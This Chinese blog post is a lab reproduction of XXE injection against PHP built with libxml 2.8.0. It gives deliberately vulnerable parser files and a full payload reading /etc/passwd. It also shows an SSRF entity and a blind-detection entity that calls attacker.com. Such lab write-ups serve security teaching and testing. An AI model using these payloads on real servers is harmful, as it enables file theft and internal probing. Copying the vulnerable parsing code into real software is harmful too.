PHP-XXE漏洞复现

漏洞描述:

   XXE(XML External Entity Injection,XML外部实体注入)​​是一种针对XML解析器的安全漏洞,攻击者通过构造恶意XML文档,利用XML解析器对外部实体的支持,并且实体的URL支持 file:// 和 ftp:// 等协议,实现敏感文件读取、内网探测、命令执行等攻击 。

  其本质是应用程序在解析XML输入时未禁用外部实体加载,导致攻击者可注入恶意实体。

  以 PHP 为例,在 PHP 里面解析 XML 使用到的函数是 libxml ,在其 libxml 小于 2.9.0 的版本中,允许解析 XML 外部实体内容。libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

漏洞复现:  

  靶场通过docker启动,环境启动后,访问 http://your-ip:8080/index.php 可以看到 phpinfo 页面。在页面中搜索 "libxml" 可以验证其版本为 2.8.0。如下图:

 Web 根目录包含的这三个文件(dom.php、SimpleXMLElement.php 和 simplexml_load_string.php)都存在 XXE 漏洞。每个文件演示了一种可被利用的 PHP XML 解析方法。

①dom.php使用 DOMDocument 解析 XML,代码如下

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom); 

②SimpleXMLElement.php使用 SimpleXMLElement 类解析 XML,代码如下:

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

③ simplexml_load_string.php使用 simplexml_load_string 函数解析 XML,代码如下:

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

1、文件内容读取

  访问dom.php之后抓包,输入下列payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>

即可访问到文件/etc/passwd里的内容。如下图:

simplexml_load_string.php目录下的如下图

 SimpleXMLElement.php也是一样

 2、SSRF(服务器端请求伪造)

payload: <!ENTITY xxe SYSTEM "http://internal.service.local" > 

漏洞分析:

  某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

问题:如何去检测或者判断Blind XXE的存在?

1、带外通信(OOB, Out-of-Band)​​

  原理​​:强制服务器向攻击者的vps发起请求,通过外联日志确认漏洞。

  使用​​Burp Suite 的 Collaborator 模块搭建监听服务,然后生成payload20条,去repeater模块发包。如果会显示交互结果,说明有Blind XXE漏洞

2、基于时间的延迟检测​​

   原理​​:通过触发服务器延迟判断条件是否成立。

  payload: <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://attacker.com/slow-resource?delay=5"> 

  若响应时间显著增加(如5秒以上),可能存在漏洞。

3、报错泄露

  原理:构造错误路径拼接敏感数据,观察报错信息。

posted @ 2025-05-25 22:44  ZyonSec  阅读(307)  评论(0)    收藏  举报